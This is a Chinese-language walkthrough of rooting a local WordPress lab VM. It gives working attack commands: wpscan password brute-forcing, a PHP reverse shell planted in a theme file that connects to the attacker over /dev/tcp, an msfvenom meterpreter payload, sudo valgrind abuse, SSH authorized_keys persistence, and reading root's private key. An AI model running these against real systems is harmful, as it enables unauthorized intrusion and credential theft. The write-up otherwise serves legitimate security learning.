信息收集
*本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!所有环境均为在线下载的靶场,且在本机进行学习。
主机扫描
arp-scan -l
端口扫描
nmap -A -p- -T4 172.20.10.4
发现只开放了22和80端口
访问主页以及指纹识别
发现页面很不对劲我们查看页面源码试试
这里可能是让我们做本地的域名解析吧,我们直接修改/etc/hosts vim /etc/hosts
然后再去访问网站
同时我们的指纹探测也好了
虽然没看出是什么尴尬了
漏洞探测
页面确实是不一样了,看这个目录wordpress此地无银三百两的感觉我们使用wpscan来爆破用户名
wpscan --url http://172.20.10.4/wordpress/ -e u
成功爆破出admin这个用户名然后我们使用wpscan来爆破后台账号admin的密码
这里我们使用kail自带的rockyou.txt字典,然后我们创建一个admin.txt 里面放入我们的admin
wpscan --url http://172.20.10.4/wordpress/ -P /usr/share/wordlists/rockyou.txt -U admin.txt
成功爆破出密码 admin:phantom
漏洞利用
我们登录后台去寻找漏洞点
我们点到这里我们我发现覆盖文件内容了我们先使用phpinfo来检测一下
然后我们点击左下角的保存然后我们尝试拼接路径,wordpress的模板路径在wp-content/themes/看文件的位置是在哪我右上画的那个红框然后加上文件名,
最终拼接的路径是http://172.20.10.4/wordpress/wp-content/themes/twentytwentyone/search.php
尝试访问
解析成功这里我们有几种拿shell的方法直接exec执行弹shell或者是msf生成shell然后访问都可以我这里使用第一种方法
将文件的内容改成
<?php exec("bash -c 'bash -i &>/dev/tcp/172.20.10.2/8888 0>&1'"); ?>
然后本地nc监听
nc -lvp 8888
访问shell文件
成功弹入shell
进去之后还是信息收集 ip a查看网络信息
id
可以看到我们的权限很低,我们这里就要想着如何提取了,先看看有没有sudo提取
sudo -l
我们是没有sudo权限的我们再看看suid有没有可以利用的
也是没有相对应的权限,看看网站的敏感文件吧config那种进入var/www/html/wordpress/目录下
我们查看wp-config.php 这个是wordpress的配置文件里面会有连接数据之类的配置
cat wp-config.php
但是这里好像没有我们想要的信息
我们去/home目录下看看吧信息收集要细致
cd /home
检查home,发现有3个用户
继续寻找一些有用的资源,发现了疑似密码我们尝试登录一下
最后我们登录father的时候成功
su father
我们使用python建立交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
提取
我们继续尝试提权
sudo提权
没有权限我们看看suid
那这个感觉就像是定时任务提权了我们这里下载一个工具他可以没有root权限就可以查看定时任务
pspy64Release No more waiting on drain · DominicBreuker/pspy
我们使用python本地开启一个web服务
python3 -m http.server 12345
然后靶机上wget下来
我们赋予文件执行权限
chmod 777 pspy64
我们./pspy64运行
观察发现有定时脚本
这里我们要说一下就是这个~/check.py是在家目录下然后是id喂1001的用户我们
cat /etc/passwd看一下
mother是uid1001
那么意思就很明显了就是让我们在mother目录下创建一个check.py的文件然后定时执行
msf生成木马
msfvenom -p python/meterpreter/reverse_tcp lhost=172.20.10.2 lport=5566
监听
反弹到shell
这个时候我们使用python建立交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo -l看看有没有能提取的
发现存在valgrind但是他是属于他baby的baby用户可以不需要密码就可以执行
这里我们使用一个查询提权的网站GTFOBins
我们查一下
如果mother
用户能通过sudo
以baby
用户身份运行valgrind
,有时攻击者可以利用这个权限来执行
sudo -u baby valgrind /bin/sh
这个时候我们就拿到了baby的shell
这里有个小技巧就是实战攻防演练-Linux写入ssh密钥,利用密钥登录 - Super403 - 博客园
首先我们读取我们本地的ssh连接公钥
然后我们再baby目录下的.ssh目录下创建
authorized_keys 内容是我们的本地kail的公钥内容给复制进去
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIO7luB//Dl4/+50sVL6/CrDOULhTcCAAdZ+P34ygrUkmw+efOM+xeObslX//n4+9M9VEj5pbml21vYzIrjNC2jYRuKA/2EGk7qoAodJmiX+dafFu75sHK2Tdvt72Abg2NfLldaGYtl8qrOIRvyablMXYtS2eWhRbtPbEvoioA5C43sgEjOe/zlzdbUJGthAAh/MN2gL3YRVcug2Kg1NtrKpUZMrWcvP7F5qbhQSDJuMPYjCBFMJ+Y/nCpz5MK6md0jShNKHOGtCk4sAYTpEyi3GV/mpDAKKy19MmQ2uHVyVCrBy95BrHXtcFYobcg+qdQTfJG4NHbyGky4tOOyyt4HiX1pnIcXZ5oChqgsqNwjSraogTTG22P5lEVbmcUiAgNs/FwmF5xkte+3PFU/StTm8uBYKY54U/I4++T0It/Z8QqrBuebjqKfA6hltyG9XnYdkZifZlLguWo/KfAh3JGwg9NBw7oFltwIbRYBm9xNSV+ySDWKpLVNS9hWgK33Kjk1kk44lqGz1AsCr3DQjlFMqrEMVAZgBS6E5A+bJGwuH/t7i8pMwJpZiLIMg7zBwkX+vbfUl4qKiUHGEp1rXqpyxy+biYWd9xr7U86Xw/nQWNIbZvQCVQg5a2chdgl2xvhMNHziz5UW/k8Z/kWzYYYHRCGNAFRshRbb7RrJSzcQw== root@kali'>authorized_keys
这里我们简单介绍一下 authorized_keys
authorized_keys
文件是一个用于存储被允许通过 SSH 公钥认证登录的公钥的文件。它通常位于远程服务器的用户主目录下的.ssh
目录中。该文件的作用是允许拥有匹配公钥的客户端用户通过 SSH 连接到服务器,而无需提供密码
然后我们ssh连接baby
我们sudo -l
不需要密码就可以执行cat
这里的意思很明显了就是让我们使用cat去读取一下ssh的私钥
sudo cat /root/.ssh/id_rsa
然后vi id_rsa将刚才的信息复制进去,然后我们进行ssh登录ssh [email protected] -i id_rsa
这里要注意一下你的窗口不能太大了不然就会直接退出
然后我们输入感叹号!/bash
我们就成功拿到root的shell了
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)